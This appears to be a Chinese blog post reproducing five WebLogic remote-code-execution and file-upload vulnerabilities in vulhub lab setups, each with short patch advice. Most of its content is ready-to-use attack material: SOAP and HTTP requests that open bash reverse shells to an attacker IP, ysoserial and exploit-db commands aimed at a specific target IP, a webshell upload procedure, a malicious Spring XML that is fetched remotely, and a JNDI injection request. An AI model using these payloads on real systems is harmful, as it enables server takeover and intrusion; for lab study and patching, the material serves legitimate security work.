zoukankan      html  css  js  c++  java
  • weblogic漏洞复现

    简介

    漏洞环境:如不另作特殊说明,漏洞环境均为vulhub

    参考链接:

    百科:https://baike.baidu.com/item/weblogic/451978?fr=aladdin

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

    CVE-2017-10271

    参考链接:

    WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

    受影响WebLogic版本:

    • 10.3.6.0.0
    • 12.1.3.0.0
    • 12.2.1.1.0
    • 12.2.1.2.0

    漏洞复现

    漏洞验证:访问该链接,http://服务端IP:7001/wls-wsat/CoordinatorPortType11 ,出现下图说明可能存在漏洞。

    我最开始是自己抓包,然后修改请求方式为POST并且添加请求体,却一直415,之后把请求头中Host下面的部分全部替换为网上的内容,成了。。。

    攻击端nc监听9999端口,反弹shell请求包:

    POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
    Host: your-ip:7001
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 640
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/攻击端IP/9999 0&gt;&amp;1</string> 
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    

    反弹shell之后,vulhub环境下攻击端接收到服务端的用户直接是root。

    漏洞修复

    1. 打补丁
    2. 删除wls-wsat组件

    参考链接:

    CVE-2018-2628

    参考链接:

    在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

    受影响WebLogic版本:

    • 10.3.6.0.0
    • 12.1.3.0.0
    • 12.2.1.2.0
    • 12.2.1.3.0

    漏洞复现

    看网上说用nmap的脚本进行复现,但是执行了之后并没有看出啥。重新试了下,原来是多加了sV参数的原因,通过nmap的脚本可以看到服务器的weblogic使用了T3协议。

    复现该漏洞需要启动一个JRMP Server,可以利用ysoserial启动一个JRMP Server。下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta,最好使用Java8版本启动。

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"
    

    利用公开exp进行攻击测试,链接:https://www.exploit-db.com/exploits/44553。

    下载exp后,构造攻击payload进行测试。payload如下:

    python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
    
    python exploit.py 139.198.172.202 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 139.198.172.202 9999 JRMPClient
    # 攻击中使用的python是python2版本,python3版本会报错。
    

    漏洞修复

    • 关闭T3服务,或控制T3服务的访问权限(临时)。
    • 打官方补丁。

    CVE-2018-2894(Weblogic任意文件上传漏洞复现)

    参考链接:

    Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 生产模式下默认不开启,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。

    受影响版本:

    • weblogic 10.3.6.0
    • weblogic 12.1.3.0
    • weblogic 12.2.1.2
    • weblogic 12.2.1.3

    漏洞复现

    启动docker环境。

    环境启动成功后,访问未授权页面http://139.198.172.202:7001/ws_utc/config.do,访问结果如下:

    该漏洞利用需要前置条件,使用docker-compose logs | grep password命令查看密码。

    回到http://139.198.172.202:7001/console/页面,等待登录页面加载。用户名:weblogic;密码:TRe1Brf4,不同靶机的密码可能不一样。

    登录成功后,点击base_domain,然后点高级。勾选启用web服务测试页选项,再在页面最下面点击保存

    再次访问未授权页面,将Work Home Dr的文本框内容修改为u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。因为访问这个目录不需要权限,然后点击提交

    z

    这个时候配置已经全部完成,可以测试上传文件了。

    点击安全,点击添加按钮,设置名字keysotre密码根据自己喜好设置,上传的Keystore文件为冰蝎jsp webshell。上传的时候需要使用burp拦截抓包,在上传的响应报文中有一个时间戳,weblogic会根据这个时间戳重新命名上传的文件,所以要提前获取到。

    到这一步很奇怪,访问一直404。

    我进入容器内部发现文件是被创建了的,但访问就是报404。参考安全脉搏的文章,重新登录下:https://www.secpulse.com/archives/116860.html。

    如果解析成功,上传成功后冰蝎连接,连接路径为:http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]

    漏洞修复

    从复现中可以看到,该漏洞的利用条件不是那么好满足的,可以从这方面入手进行修复。官方补丁链接:http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

    Weblogic后台部署war包

    参考链接:https://www.cnblogs.com/xiaozi/p/6117339.html

    CVE-2020-14882/14883(未授权命令执行漏洞)

    参考链接:

    10月21日,Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。

    此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。

    漏洞影响版本:

    • 10.3.6.0.0
    • 12.1.3.0.0
    • 12.2.1.3.0
    • 12.2.1.4.0
    • 14.1.1.0.0

    漏洞复现

    启动环境。

    写入文件payload:

    http://服务端IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test');"
    

    a

    反弹shell:

    首先需要构造一个恶意xml文件,启动http环境,让被攻击的weblogic能够访问到。代码如下(注意修改IP地址和nc监听端口):

    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    nc启用监听,然后执行下面GET请求:

    http://服务端IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击ip/test.xml")
    

    得到反弹shell:

    漏洞修复

    目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

    Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

    参考链接:https://www.oracle.com/security-alerts/cpuoct2020.html

    在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。

    CVE-2021-2109(远程代码执行)

    参考链接:

    2021年1月Oracle发布了安全更新补丁,包含Oracle产品系列中的329个新安全补丁。此次公告中特别提到了,2020年11月1日发布的Oracle WebLogic Server关于CVE-2020-14750漏洞的安全公告。强烈建议客户应用此补丁更新,及此公告中的其他补丁。CVE编号CVE-2021-2109,该漏洞为Weblogic 的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。

    漏洞影响版本:

    • Weblogic Server 10.3.6.0.0
    • Weblogic Server 12.1.3.0.0
    • Weblogic Server 12.2.1.3.0
    • Weblogic Server 12.2.1.4.0
    • Weblogic Server 14.1.1.0.0

    漏洞复现

    启动环境,vulhub中没有该漏洞的环境,使用CVE-2020-14882代替。

    下载LDAP并启动,LDAP的运行需要java1.8环境。下载地址:https://github.com/feihong-cs/JNDIExploit/releases。本次复现使用的是1.11版本。

    使用java 1.8版本启动,命令java -jar JNDIExploit-v1.11.jar -i [攻击端IP]

    a

    访问目标路径:http://139.198.172.202:7001/console/css/%252e%252e%252f/consolejndi.portal,使用burp拦截抓包,将GET请求方式改为POST,并构造数据包,注意IP地址中第三位和第四位中间是分号;

    POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
    Host: 服务端IP:7001
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: ADMINCONSOLESESSION=QOBObrqaFesoHZn2CPYDDiURPTylOq28vVljbn-u242XLuXB8bNP!-1825720843
    cmd: pwd
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 176
    
    _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://49.233.160;143:1389/Basic/WeblogicEcho;AdminServer%22)
    

    漏洞修复

    参考链接:https://blog.csdn.net/weixin_38896449/article/details/115209541

    1. 及时下载官方补丁进行升级修复。下载地址如下:https://www.oracle.com/security-alerts/cpujan2021.html
    2. 关闭后台/console/console.portal的访问权限。
    3. 修改后台默认地址。
      进入默认的控制台,例如“localhost/console”,进入后点击左侧的 “域名称”-“高级选项”-“保存”,重启服务并清缓存。
    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    【Rust】元组display
    【Rust】原始类型布尔
    【Rust】原始类型浮点
    【Rust】元组transpose
    【Rust】结构体
    【Rust】原始类型数组
    【Rust】结构体square
    【Rust】结构体area
    1月12日 家庭小账本(改) 开发记录
    1月18日 学习记录
  • 原文地址:https://www.cnblogs.com/ahtoh/p/15097838.html
Copyright © 2011-2022 走看看